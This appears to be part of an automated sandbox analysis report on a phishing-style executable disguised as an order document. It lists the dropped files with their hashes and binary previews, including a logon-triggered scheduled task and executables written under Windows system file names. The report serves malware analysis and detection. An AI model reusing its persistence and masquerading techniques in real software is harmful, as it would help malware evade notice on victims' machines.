SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380192968514367
Encrypted:	false
SSDEEP:	48:+WSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMugeC/ZPUyus:+LHyIFKL3IZ2KRH9Oug8s
MD5:	E3EC01FAB7E327602A9550342FA73464
SHA1:	7F06C78BA2496A8DDB3DDCD63BAF741CB8C84886
SHA-256:	4ECCD285FCD821659092ADB47638B559656F97512183BA76AEE2760D531273C5
SHA-512:	B66B707510DE1B0AA29F65F1C99BDEEBDC4D34EC3D9950B62E17058D2E5B1599C85A09EC056F1C4BCE019213485F1E3D7E9D68651890A853819F98DBF2492407
Malicious:	false
Reputation:	unknown
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5rm2pazz.kpc.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d1mupjzu.b0n.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_edvsjmjb.nz5.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hxcs1oqj.alm.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jvhbkkgn.e21.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uch0xsgz.dci.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uelwio5l.2gl.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wp0w0qcj.g1d.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp15E7.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1608
Entropy (8bit):	5.132036104753838
Encrypted:	false
SSDEEP:	24:2di4+S2qhH1jy1m4UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNt/2xvn:cgeHgYrFdOFzOzN33ODOiDdKrsuT/6v
MD5:	C984BEFE498CDADCCDC15ABA7BC8B66A
SHA1:	23BB5ADCD1F9D71C4F3005E3ECBAD80464D31F9C
SHA-256:	2B73D1DC70BFCF7C57D8E980F87778B21398C9A8EAB72FB0F54C8967FEEBD0D4
SHA-512:	3E54670FDC5D5253A2DDBFB43FC5E6223E5122C6F46AB22BB9FBA93C1DC6729ED5BC9D481EF99107494321B3DA39176BA40FC2636A4F7460222EE90C04949364
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>.

C:\Users\user\AppData\Local\Temp\tmpE707.tmp

Download File

Process:	C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1608
Entropy (8bit):	5.132036104753838
Encrypted:	false
SSDEEP:	24:2di4+S2qhH1jy1m4UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNt/2xvn:cgeHgYrFdOFzOzN33ODOiDdKrsuT/6v
MD5:	C984BEFE498CDADCCDC15ABA7BC8B66A
SHA1:	23BB5ADCD1F9D71C4F3005E3ECBAD80464D31F9C
SHA-256:	2B73D1DC70BFCF7C57D8E980F87778B21398C9A8EAB72FB0F54C8967FEEBD0D4
SHA-512:	3E54670FDC5D5253A2DDBFB43FC5E6223E5122C6F46AB22BB9FBA93C1DC6729ED5BC9D481EF99107494321B3DA39176BA40FC2636A4F7460222EE90C04949364
Malicious:	true
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>.

C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe

Download File

Process:	C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1432064
Entropy (8bit):	7.884290221622837
Encrypted:	false
SSDEEP:	24576:y1zGUxjCMfFrJirFpgEZR4IGqiHVtAgjSN9/pggC0gPAMhCKqX:0L/9QrF/ZR4DH4/begC0WAfZ
MD5:	06C13587E9A7AF60860CB6E2C4F3A7B2
SHA1:	238F5DDCD0193ABA7B760B7AB6F3F982D73383B5
SHA-256:	EFD64C0B88BBE45461D13B2A0ACD9544218F819F4579AF35B5FC92E20D5F6FA5
SHA-512:	B9254B49E477E7D60F077EC17EA2DEE374D06C6AC095F1B70797D56FA523729B2F23CF9C5810972C515EA7D4D15923314B93DA8B50A2AAF494D6133474CB6C8E
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...\.................0.............n.... ........@.. .......................@............@.....................................O........................... ....................................................... ............... ..H............text...t.... ...................... ..`.rsrc...........,..................@..@.reloc....... ......................@..B................P.......H.......h....................M.............................................l.....].f.2.....$4.l:....4.V%.Ma.V......Du.. ....A..... \|..x.},..T$..`+r.6Y"..w.5.........W.P@....+.!..D..Vlc0IF0..ef.}..<.9.e.[>j..P0....V.>:{.B......%...c@.9b.kf.Y...R.....Ia\|.CU.W8+.kS..C.0&h%j'...(,.i"j.O$......<.=..OZ....(.W...j.2. .....G.Q:Gn.Je...Pnvey!h..U..I....k.J.d...!j....../.9.......'+.M....NE <._`...vQ.D..\.>.F...I.\|.3..."A...1...S...ym.. "r.('..t.........j..r.\h;6q.

C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\f1a1dcf99c90d829.bin

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	12320
Entropy (8bit):	7.9868677280959055
Encrypted:	false
SSDEEP:	384:eeneNWE0RTZ1NK0qQ86KX1MYKsJmvBoDYN:Dn4ART3NdI6KXRmvBJ
MD5:	F8E8BF36549FC3A571B072799A02E8A2
SHA1:	C66717DADD780D29AA0924E69F1B5F939179C5F2
SHA-256:	96C21A8736C0C23721E055FA26B9DD19C07AFECA4C758B2F890550F3DA43ACA7
SHA-512:	7518139933AA29F29DAF84C5839012FFED9B7F44471FA2E8F78E84A40B5A1D71217BFA722F45FA0F52554BAFF0D25FA9519E32A267C9A77621DFF619E72A4BBB
Malicious:	false
Reputation:	unknown
Preview:	..d.B7..6.&.%...U.W;.A...s.K.L.w....QhC..t.;)Q_...\|....:...g.1...N&[H;.];.=.M.v2.B^.M......2\|......H;..V....x./.....<....> NC.p[......2.4.....R=W......o.......\K.....y.Q.{.W...}....$#."..H.x......L...&e.K.q..>}...l^..J..y)5....&FM3.)2j.q`...qt..1...4....~.^.D....U'.G$.)..x...JX.R....l.nJ.~..8...e\.n~.R.....9J....z.cp.n.E..A.>.._W.Et7.....k..x......_.......%i.....H...yE.b..u.7...).'.I..m...X.z.?*.......xX.......;.6...e..1~w....g.....r9^;hss......C.V...]........wv.....=2.`9.` ....n..C......C._...}.m..}....O.G.\..O:\..\|......E.7V&...D..G.....1...W3.Vf.%.J.4.x...Z..a....<..Y/....!.l.[..c... 03.m.......,...b.!h@}\wj..Y.6.\..z.....`z.E...pB...b.w.+.cg.Q..l....Yba...T...l..G...W.}K...+.Kgnp..s..b\Ng^C..........v.Q4>.;.&..xs9R.!V{HL..U..}..MW......aV...S.w.@.0.V!.Q.....XQ.2....?..O..b..l..3.....><.T........3...&H.wW3....2...g.e....y,zZ..M...KG..(.,.s\v=..UX.n......0V.....-.-.....\|.Q..]..W_....&..H..R.).tR..zf.9.W.{...-.y.J......>6U^#..^m.J..

C:\Windows\DtcInstall.log

Download File

Process:	C:\Windows\System32\msdtc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	2313
Entropy (8bit):	5.140649080370946
Encrypted:	false
SSDEEP:	48:32qhuhCehuhqfhuhofhuhE2qhuh6987FMx7F/rt57wt+07FKC7867qrT7FoC786n:Z070s0Y0q0mF7Dm5g
MD5:	CE2E062A75DF6B552BD792CF52264FD0
SHA1:	ED61E3499CA9469291491F98FE9AA79DB51E2F32
SHA-256:	B3060932AA321586168268C28AACB7688CEBFF2B711F20185934CDA11CD75C71
SHA-512:	2A69CB50B64FD9B6EEFF26318450909D125B17E30DE9B0BA88575E230A8871FE06B3C6B1DC0E442A7414939B08C8A8D205DC926C5672ECB386737EF8E7717A9E
Malicious:	false
Reputation:	unknown
Preview:	12-07-2019 09:17 : DTC Install error = 0, Enter MsDtcAdvancedInstaller::Configure, base\wcp\plugins\msdtc\msdtcadvancedinstaller\msdtcadvancedinstaller.cpp (367)..12-07-2019 09:17 : DTC Install error = 0, Action: None, base\wcp\plugins\msdtc\msdtcadvancedinstaller\msdtcadvancedinstaller.cpp (396)..12-07-2019 09:17 : DTC Install error = 0, Entering CreateXATmSecurityKeyCNG, base\wcp\plugins\msdtc\msdtcadvancedinstaller\msdtcadvancedinstaller.cpp (1700)..12-07-2019 09:17 : DTC Install error = 0, Exiting CreateXATmSecurityKeyCNG, base\wcp\plugins\msdtc\msdtcadvancedinstaller\msdtcadvancedinstaller.cpp (1876)..12-07-2019 09:17 : DTC Install error = 0, Exit MsDtcAdvancedInstaller::Configure, base\wcp\plugins\msdtc\msdtcadvancedinstaller\msdtcadvancedinstaller.cpp (454)..10-03-2023 08:56 : DTC Install error = 0, SysPrepDtcSpecialize : Enter, com\complus\dtc\dtc\adme\deployment.cpp (2099) ..10-03-2023 08:56 : DTC Install error = 0, SysPrepDtcGeneralize : Enter, com\complus\dtc\dtc\adme\deploy

C:\Windows\Logs\WindowsBackup\WBEngine.0.etl

Download File

Process:	C:\Windows\System32\wbengine.exe
File Type:	dBase III DBT, version number 0, next free block index 10240, 1st item "\212\276<V"
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.6154529736156096
Encrypted:	false
SSDEEP:	48:Rzt/PwUTIBQjfLYreaHT9TPHkzs9zsHzzbFPR://Pw3bhT9TfCPR
MD5:	AD8EE3E549E980E1346A838F158B2215
SHA1:	5359715C4CB2B8C22E25DB7B4DB1F09034BD35F2
SHA-256:	A8D41B8EAC60FA36CCC708DF7E8922D5E82740D2CAFBFCAC936E02BA68F37224
SHA-512:	AAD26E1AAC67C8E657B51011C9305D6F595DD54E546A13C9045A797E82419A480765B4A2E4F97A8283C6ED2B45EBA073E4F2778B2ACD4431E7A32FA84BE9B2CA
Malicious:	false
Reputation:	unknown
Preview:	.(..@...@...........................................!...........................,.........<V.............(......eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................@...`...........+5..A..........W.B.E.n.g.i.n.e...C.:.\.W.i.n.d.o.w.s.\.L.o.g.s.\.W.i.n.d.o.w.s.B.a.c.k.u.p.\.W.B.E.n.g.i.n.e...0...e.t.l...........P.P.,.........<V................................................................8.B...<V....19041.1.amd64fre.vb_release.191206-1406.....,.@...<V...............'"a.-....spp.pdb...........@...<V.....T.c..i.\.C.s"8@....vssvc.pdb......./.@...<V....W.p.D.......]....vssapi.pdb......-.@...<V.....\..Q....T*&.......udfs.pdb........0.@...<V......B..,`..9..4.....ifsutil.pdb.....-.@...<V....I:...S%9.`...'.R....uudf.pdb........1.@...<V...........1$OI"......wbengine.pdb................................

C:\Windows\SysWOW64\perfhost.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1150976
Entropy (8bit):	5.038933839637317
Encrypted:	false
SSDEEP:	12288:rIXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:rIsqjnhMgeiCl7G0nehbGZpbD
MD5:	3A2A9E48FBD06CF338FA403E33134177
SHA1:	942DEDBCD73E11B5E08C7361C9191783D7498346
SHA-256:	9D4FE4951FB85EE77B26E1F68B0D5191E0BB1EA653124681419F425FB38FB104
SHA-512:	4FA5CDCF5173E30EC43BF11B379DE535218612597AEF547200A07F3EBEBDBA4D5ACC01FCEEFB5D55E761B6326BA82B423FD6CE279180CF242035BCA810474DD5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........+-.~E~.~E~.~E~...~.~E~..F..~E~..A..~E~.~D~.~E~..D..~E~..@..~E~..L..~E~...~.~E~..G..~E~Rich.~E~................PE..L...CY]..................&...,...............@....@.................................Ej........... ..........................lQ..@....`..................................T............................................P..h............................text....%.......&.................. ..`.data........@.......*..............@....idata.......P.......,..............@..@.rsrc........`.......8..............@..@.reloc...P.......@...P..............@...........................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\AgentService.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1801216
Entropy (8bit):	6.97434228252868
Encrypted:	false
SSDEEP:	49152:ZwVFr68Vw9wn/6h8N1zidlDmg27RnWGj:ZwVFrssC/dlD527BWG
MD5:	E46CE79404D95E10B788E99FB6C2C36E
SHA1:	5FB155B8727FD3A969E415CD38138E85CC6ED556
SHA-256:	D8C3940515AF9EEB847ADA3E3F8DFD20AB2326187A3EE19BCB2A12727B3A2799
SHA-512:	541E3D9604B53A8C8507CD3BD1456C547F82B08F19077504A5D9FC2D1F8CC2D726FB28CFE952C5CA8E149A5A9704ACFA3CA945786D07BCE361CEF9CC8B06FC22
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5...qq.Bqq.Bqq.Be..Crq.Be..Ciq.Be..C2q.Be..Cfq.Bqq.BIp.Be..C2q.Be.)Bpq.Be..Cpq.BRichqq.B........PE..d.................".................0..........@.......................................... .......... ......................................X........... ....0...}..................0...T...................(...(...................P................................text............................... ..`.rdata..............................@..@.data...........t..................@....pdata...}...0...~..................@..@.rsrc... ...........................@..@.reloc..............................@...................................................................................................................................................................................................................................................................................

C:\Windows\System32\AppVClient.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1348608
Entropy (8bit):	7.253771868247366
Encrypted:	false
SSDEEP:	24576:kQW4qoNUgslKNX0Ip0MgHCpoMBOuQsqjnhMgeiCl7G0nehbGZpbD:kQW9BKNX0IPgiKMBOuMDmg27RnWGj
MD5:	A402C4C181FB483490A130C24E7F84A6
SHA1:	6B320030BBACE4116AFD9E0F6F9D5BAB18FAA850
SHA-256:	B32F3E4A48BD808EEE53DC043CAF4D21DDF229B194D2F93E85126ED94124694F
SHA-512:	7D3D996D921B52F9006490FA50D2078F1ECAC1BF4786819B3ECE1AFEC7EB61F104EFBE52DF9621B25FE584841AE275BBFA2892AECEF09AB85862B31C84BDBC68
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g..=#p.n#p.n#p.n*.kn%p.n7..o(p.n7..o p.n7..o.p.n#p.n.u.n7..o.p.n7..o.p.n7..n"p.n7..n"p.n7..o"p.nRich#p.n........................PE..d....4............"..........$.......K.........@.....................................).... .......... .......................................j..h....`...a... ...:..................0a..T....................%..(....$...............%..P............................text...L........................... ..`.rdata..............................@..@.data....z.......n..................@....pdata...:... ...<..................@..@.rsrc....a...`...b...2..............@..@.reloc..............................@...................................................................................................................................................................................................................................................

C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1224192
Entropy (8bit):	5.163579152223823
Encrypted:	false
SSDEEP:	24576:d2G7AbHjkrsqjnhMgeiCl7G0nehbGZpbD:d2G7AbHjiDmg27RnWGj
MD5:	3A37B3D9FCF2C4F66FB6C645448A80F4
SHA1:	A110CCC8AA902368BB037B69FFAD10A8DE459004
SHA-256:	4AE75812953445C0F1054A50C699CCD35977DFE04128B53CD869A9778E960AAC
SHA-512:	EE2258498953EE1EEC89586C2E0E1F25D657F769F16FB88B4E086FD45636176E1DB8FDC09B95EC619ABA57086E4D1249ACE3C6753A513B2ED64AA1D5DD727089
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B6l0.W.c.W.c.W.c./.cPW.c.<.b.W.c.<.b.W.c.W.c.S.c.<.b.W.c.<.b.W.c.<.b.W.c.<.c.W.c.<.c.W.c.<.b.W.cRich.W.c................PE..d...^.Jw.........."............................@.....................................a.... .......... ......................................p?...................................... #..T...................8...(... ...............`...H............................text............................... ..`.rdata...b.......d..................@..@.data...@....p.......P..............@....pdata...............T..............@..@.rsrc................b..............@..@.reloc...P.......@...n..............@...........................................................................................................................................................................................................................................................

C:\Windows\System32\FXSSVC.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1242624
Entropy (8bit):	7.288974667711691
Encrypted:	false
SSDEEP:	24576:SkdpSI+K3S/GWei+qNv2uG3jsqjnhMgeiCl7G0nehbGZpbD:S6SIGGWei2uG3nDmg27RnWGj
MD5:	B184A2D21BE1424241C0CC6F3EE4C667
SHA1:	F3E1CDB6D6A378991EB9CE83F5485756C4C683D8
SHA-256:	A4DDD6434168052FB502E71F406596A82BEB3D201E2F1D0923F7E23D66ADB0A6
SHA-512:	26C774B51C4F4AC5D86B8502B16CAFA38225BF89F158A1EF176EDBF46F03069DCA10CDF2E03FAA2ABF369AA14ECDC03636CAE052A113771DFE56C702ADCE37E9
Malicious:	true
Reputation:	unknown
